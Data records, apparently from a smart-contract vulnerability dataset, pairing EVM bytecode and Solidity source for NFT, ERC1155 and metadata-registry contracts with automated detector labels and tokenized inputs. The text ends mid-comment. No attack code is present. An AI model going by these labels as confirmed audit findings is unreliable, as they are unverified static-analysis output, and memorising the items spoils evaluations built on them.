f818561465d565b9350613c9f818560208601614811565b613ca881614a59565b840191505092915050565b6000613cbe82614618565b613cc8818561466e565b9350613cd8818560208601614811565b80840191505092915050565b60008154613cf181614844565b613cfb818661466e565b94506001821660008114613d165760018114613d2757613d5a565b60ff19831686528186019350613d5a565b613d30856145ed565b60005b83811015613d5257815481890152600182019150602081019050613d33565b838801955050505b50505092915050565b6000613d70602b8361465d565b9150613d7b82614a6a565b604082019050919050565b6000613d9360328361465d565b9150613d9e82614ab9565b604082019050919050565b6000613db660268361465d565b9150613dc182614b08565b604082019050919050565b6000613dd960258361465d565b9150613de482614b57565b604082019050919050565b6000613dfc601c8361465d565b9150613e0782614ba6565b602082019050919050565b6000613e1f601c8361465d565b9150613e2a82614bcf565b602082019050919050565b6000613e4260248361465d565b9150613e4d82614bf8565b604082019050919050565b6000613e6560198361465d565b9150613e7082614c47565b602082019050919050565b6000613e88602c8361465d565b9150613e9382614c70565b604082019050919050565b6000613eab60388361465d565b9150613eb682614cbf565b604082019050919050565b6000613ece602a8361465d565b9150613ed982614d0e565b604082019050919050565b6000613ef160298361465d565b9150613efc82614d5d565b604082019050919050565b6000613f1460168361465d565b9150613f1f82614dac565b602082019050919050565b6000613f3760248361465d565b9150613f4282614dd5565b604082019050919050565b6000613f5a60208361465d565b9150613f6582614e24565b602082019050919050565b6000613f7d602c8361465d565b9150613f8882614e4d565b604082019050919050565b6000613fa060208361465d565b9150613fab82614e9c565b602082019050919050565b6000613fc360168361465d565b9150613fce82614ec5565b602082019050919050565b6000613fe6602f8361465d565b9150613ff182614eee565b604082019050919050565b600061400960218361465d565b915061401482614f3d565b604082019050919050565b600061402c600083614652565b915061403782614f8c565b600082019050919050565b600061404f60128361465d565b915061405a82614f8f565b602082019050919050565b600061407260318361465d565b915061407d82614fb8565b604082019050919050565b6000614095602c8361465d565b91506140a082615007565b604082019050919050565b60006140b860178361465d565b91506140c382615056565b602082019050919050565b60006140db601b8361465d565b91506140e68261507f565b602082019050919050565b6140fa816147f8565b82525050565b614109816147f8565b82525050565b600061411b8286613cb3565b91506141278285613cb3565b91506141338284613ce4565b9150819050949350505050565b600061414b8261401f565b9150819050919050565b600060208201905061416a6000830184613bc5565b92915050565b60006080820190506141856000830187613bc5565b6141926020830186613bc5565b61419f6040830185614100565b81810360608301526141b18184613c41565b905095945050505050565b600060208201905081810360008301526141d68184613bd4565b905092915050565b60006020820190506141f36000830184613c32565b92915050565b600060208201905081810360008301526142138184613c7a565b905092915050565b6000602082019050818103600083015261423481613d63565b9050919050565b6000602082019050818103600083015261425481613d86565b9050919050565b6000602082019050818103600083015261427481613da9565b9050919050565b6000602082019050818103600083015261429481613dcc565b9050919050565b600060208201905081810360008301526142b481613def565b9050919050565b600060208201905081810360008301526142d481613e12565b9050919050565b600060208201905081810360008301526142f481613e35565b9050919050565b6000602082019050818103600083015261431481613e58565b9050919050565b6000602082019050818103600083015261433481613e7b565b9050919050565b6000602082019050818103600083015261435481613e9e565b9050919050565b6000602082019050818103600083015261437481613ec1565b9050919050565b6000602082019050818103600083015261439481613ee4565b9050919050565b600060208201905081810360008301526143b481613f07565b9050919050565b600060208201905081810360008301526143d481613f2a565b9050919050565b600060208201905081810360008301526143f481613f4d565b9050919050565b6000602082019050818103600083015261441481613f70565b9050919050565b6000602082019050818103600083015261443481613f93565b9050919050565b6000602082019050818103600083015261445481613fb6565b9050919050565b6000602082019050818103600083015261447481613fd9565b9050919050565b6000602082019050818103600083015261449481613ffc565b9050919050565b600060208201905081810360008301526144b481614042565b9050919050565b600060208201905081810360008301526144d481614065565b9050919050565b600060208201905081810360008301526144f481614088565b9050919050565b60006020820190508181036000830152614514816140ab565b9050919050565b60006020820190508181036000830152614534816140ce565b9050919050565b60006020820190506145506000830184614100565b92915050565b6000614560614571565b905061456c8282614876565b919050565b6000604051905090565b600067ffffffffffffffff82111561459657614595614a0c565b5b61459f82614a59565b9050602081019050919050565b600067ffffffffffffffff8211156145c7576145c6614a0c565b5b6145d082614a59565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614684826147f8565b915061468f836147f8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146c4576146c3614921565b5b828201905092915050565b60006146da826147f8565b91506146e5836147f8565b9250826146f5576146f4614950565b5b828204905092915050565b600061470b826147f8565b9150614716836147f8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561474f5761474e614921565b5b828202905092915050565b6000614765826147f8565b9150614770836147f8565b92508282101561478357614782614921565b5b828203905092915050565b6000614799826147d8565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561482f578082015181840152602081019050614814565b8381111561483e576000848401525b50505050565b6000600282049050600182168061485c57607f821691505b602082108114156148705761486f61497f565b5b50919050565b61487f82614a59565b810181811067ffffffffffffffff8211171561489e5761489d614a0c565b5b80604052505050565b60006148b2826147f8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148e5576148e4614921565b5b600182019050919050565b60006148fb826147f8565b9150614906836147f8565b92508261491657614915614950565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f6d6178204e465420706572206164647265737320657863656564656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f6d6178204e4654206c696d697420657863656564656400000000000000000000600082015250565b7f6d6178206d696e7420616d6f756e74207065722073657373696f6e206578636560008201527f6564656400000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f74686520636f6e74726163742069732070617573656400000000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f75736572206973206e6f742077686974656c6973746564000000000000000000600082015250565b7f6e65656420746f206d696e74206174206c656173742031204e46540000000000600082015250565b6150b18161478e565b81146150bc57600080fd5b50565b6150c8816147a0565b81146150d357600080fd5b50565b6150df816147ac565b81146150ea57600080fd5b50565b6150f6816147f8565b811461510157600080fd5b5056fea26469706673582212205002f0d6bfe1eed1b7f0871851a0d523b69e9d2818ef46c9903bf0eaee9c8d9364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 29097, 3676, 17465, 2629, 2497, 2475, 20952, 19317, 2683, 2575, 14526, 21619, 16086, 2278, 2683, 10790, 26224, 2549, 2063, 2683, 2063, 22025, 2497, 2094, 2487, 26337, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,727
0x973Df953B069c05aEFCa1fbe5F20Fa9ce5aa2fE5
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./mixin/MixinOwnable.sol"; import "./library/LibString.sol"; import "./interface/IMetadataRegistry.sol"; import "./MetadataRegistry.sol"; contract LegacyProxyMetadataRegistry is Ownable, IMetadataRegistry { MetadataRegistry public immutable legacyRegistry; constructor( address legacyRegistry_ ) { legacyRegistry = MetadataRegistry(legacyRegistry_); } function tokenIdToDocument(uint256 tokenId, string memory key) override external view returns (IMetadataRegistry.Document memory) { (address writer, string memory text, uint creationTime) = legacyRegistry.tokenIdToDocumentMap(tokenId, key); IMetadataRegistry.Document memory doc = IMetadataRegistry.Document(writer, text, creationTime); return doc; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.7.0; library LibString { // via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function uint2hexstr(uint i) internal pure returns (string memory) { if (i == 0) { return "0"; } uint j = i; uint len; while (j != 0) { len++; j = j >> 4; } uint mask = 15; bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ uint curr = (i & mask); bstr[k--] = curr > 9 ? byte(uint8(55 + curr)) : byte(uint8(48 + curr)); i = i >> 4; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; interface IMetadataRegistry { struct Document { address writer; string text; uint256 creationTime; } function tokenIdToDocument(uint256 tokenId, string memory key) external view returns (Document memory); } pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./library/LibSafeMath.sol"; import "./ERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; contract MetadataRegistry is Ownable { using LibSafeMath for uint256; mapping(uint256 => mapping(string => Document)) public tokenIdToDocumentMap; mapping(address => bool) public permissedWriters; struct Document { address writer; string text; uint256 creationTime; } constructor( ) { } event UpdatedDocument( uint256 indexed tokenId, address indexed writer, string indexed key, string text ); function updatePermissedWriterStatus(address _writer, bool status) public onlyOwner { permissedWriters[_writer] = status; } modifier onlyIfPermissed(address writer) { require(permissedWriters[writer] == true, "writer can't write to registry"); _; } function writeDocuments(uint256 tokenId, string[] memory keys, string[] memory texts, address[] memory writers) public onlyIfPermissed(msg.sender) { require(keys.length == texts.length, "keys and txHashes size mismatch"); require(writers.length == texts.length, "writers and texts size mismatch"); for (uint256 i = 0; i < keys.length; ++i) { string memory key = keys[i]; string memory text = texts[i]; address writer = writers[i]; tokenIdToDocumentMap[tokenId][key] = Document(writer, text, block.timestamp); emit UpdatedDocument(tokenId, writer, key, text); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _txOrigin() internal view virtual returns (address) { return tx.origin; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.7.0; import "./LibRichErrors.sol"; import "./LibSafeMathRichErrors.sol"; library LibSafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; if (c / a != b) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { if (b > a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; if (c < a) { LibRichErrors.rrevert(LibSafeMathRichErrors.Uint256BinOpError( LibSafeMathRichErrors.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } pragma solidity ^0.7.0; import "./library/LibSafeMath.sol"; import "./library/LibAddress.sol"; import "./ERC1155.sol"; import "./interface/IERC1155Mintable.sol"; import "./mixin/MixinOwnable.sol"; import "./mixin/MixinContractURI.sol"; import "./mixin/MixinTokenURI.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items contract ERC1155Mintable is IERC1155Mintable, ERC1155, MixinContractURI, MixinTokenURI { using LibSafeMath for uint256; using LibAddress for address; uint256 internal nonce; /// mapping from token to max index mapping (uint256 => uint256) public maxIndex; mapping (uint256 => mapping(address => bool)) internal creatorApproval; modifier onlyCreator(uint256 _id) { require(creatorApproval[_id][msg.sender], "not an approved creator of id"); _; } function setCreatorApproval(uint256 id, address creator, bool status) external onlyCreator(id) { creatorApproval[id][creator] = status; } /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external override onlyOwner() returns (uint256 type_) { // Store the type in the upper 128 bits type_ = (++nonce << 128); // Set a flag if this is an NFI. if (isNF) { type_ = type_ | TYPE_NF_BIT; } creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev creates a new token /// @param type_ of token function createWithType( uint256 type_ ) external onlyOwner() { creatorApproval[type_][msg.sender] = true; // emit a Transfer event with Create semantic to help with discovery. emit TransferSingle( msg.sender, address(0x0), address(0x0), type_, 0 ); emit URI(uri(type_), type_); } /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external override onlyCreator(id) { // sanity checks require( isFungible(id), "TRIED_TO_MINT_FUNGIBLE_FOR_NON_FUNGIBLE_TOKEN" ); // mint tokens for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 quantity = quantities[i]; // Grant the items to the caller balances[id][dst] = quantity.safeAdd(balances[id][dst]); // Emit the Transfer/Mint event. // the 0x0 source address implies a mint // It will also provide the circulating supply info. emit TransferSingle( msg.sender, address(0x0), dst, id, quantity ); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, quantity, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } } /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external override onlyCreator(type_) { require( isNonFungible(type_), "TRIED_TO_MINT_NON_FUNGIBLE_FOR_FUNGIBLE_TOKEN" ); // Index are 1-based. uint256 index = maxIndex[type_] + 1; for (uint256 i = 0; i < to.length; ++i) { // cache to reduce number of loads address dst = to[i]; uint256 id = type_ | index + i; nfOwners[id] = dst; // You could use base-type id to store NF type balances if you wish. balances[type_][dst] = balances[type_][dst].safeAdd(1); emit TransferSingle(msg.sender, address(0x0), dst, id, 1); // if `to` is a contract then trigger its callback if (dst.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(dst).onERC1155Received( msg.sender, msg.sender, id, 1, "" ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } // record the `maxIndex` of this nft type // this allows us to mint more nft's of this type in a subsequent call. maxIndex[type_] = to.length.safeAdd(maxIndex[type_]); } } pragma solidity ^0.7.0; library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } pragma solidity ^0.7.0; library LibSafeMathRichErrors { // bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)")) bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR = 0xe946c1bb; // bytes4(keccak256("Uint256DowncastError(uint8,uint256)")) bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR = 0xc996af7b; enum BinOpErrorCodes { ADDITION_OVERFLOW, MULTIPLICATION_OVERFLOW, SUBTRACTION_UNDERFLOW, DIVISION_BY_ZERO } enum DowncastErrorCodes { VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96 } // solhint-disable func-name-mixedcase function Uint256BinOpError( BinOpErrorCodes errorCode, uint256 a, uint256 b ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_BINOP_ERROR_SELECTOR, errorCode, a, b ); } function Uint256DowncastError( DowncastErrorCodes errorCode, uint256 a ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_DOWNCAST_ERROR_SELECTOR, errorCode, a ); } } pragma solidity ^0.7.0; /** * Utility library of inline functions on addresses */ library LibAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } pragma solidity ^0.7.0; import "./library/LibSafeMath.sol"; import "./library/LibAddress.sol"; import "./interface/IERC1155.sol"; import "./interface/IERC1155Receiver.sol"; import "./mixin/MixinNonFungibleToken.sol"; import "./mixin/MixinOwnable.sol"; import "./WhitelistExchangesProxy.sol"; contract ERC1155 is IERC1155, MixinNonFungibleToken, Ownable { using LibAddress for address; using LibSafeMath for uint256; // selectors for receiver callbacks bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61; bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81; // id => (owner => balance) mapping (uint256 => mapping(address => uint256)) internal balances; // owner => (operator => approved) mapping (address => mapping(address => bool)) internal operatorApproval; address public exchangesRegistry; function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() { exchangesRegistry = newExchangesRegistry; } /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfer if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; // You could keep balance of NF type in base type id like so: // uint256 baseType = getNonFungibleBaseType(_id); // balances[baseType][_from] = balances[baseType][_from].safeSub(_value); // balances[baseType][_to] = balances[baseType][_to].safeAdd(_value); } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } emit TransferSingle(msg.sender, from, to, id, value); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received( msg.sender, from, id, value, data ); require( callbackReturnValue == ERC1155_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) override external { // sanity checks require( to != address(0x0), "CANNOT_TRANSFER_TO_ADDRESS_ZERO" ); require( ids.length == values.length, "TOKEN_AND_VALUES_LENGTH_MISMATCH" ); // Only supporting a global operator approval allows us to do // only 1 check and not to touch storage to handle allowances. require( from == msg.sender || isApprovedForAll(from, msg.sender), "INSUFFICIENT_ALLOWANCE" ); // perform transfers for (uint256 i = 0; i < ids.length; ++i) { // Cache value to local variable to reduce read costs. uint256 id = ids[i]; uint256 value = values[i]; if (isNonFungible(id)) { require( value == 1, "AMOUNT_EQUAL_TO_ONE_REQUIRED" ); require( nfOwners[id] == from, "NFT_NOT_OWNED_BY_FROM_ADDRESS" ); nfOwners[id] = to; } else { balances[id][from] = balances[id][from].safeSub(value); balances[id][to] = balances[id][to].safeAdd(value); } } emit TransferBatch(msg.sender, from, to, ids, values); // if `to` is a contract then trigger its callback if (to.isContract()) { bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived( msg.sender, from, ids, values, data ); require( callbackReturnValue == ERC1155_BATCH_RECEIVED, "BAD_RECEIVER_RETURN_VALUE" ); } } /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external override { operatorApproval[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) public override view returns (bool) { bool approved = operatorApproval[owner][operator]; if (!approved && exchangesRegistry != address(0)) { return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true; } return approved; } /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external override view returns (uint256) { if (isNonFungibleItem(id)) { return nfOwners[id] == owner ? 1 : 0; } return balances[id][owner]; } /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the 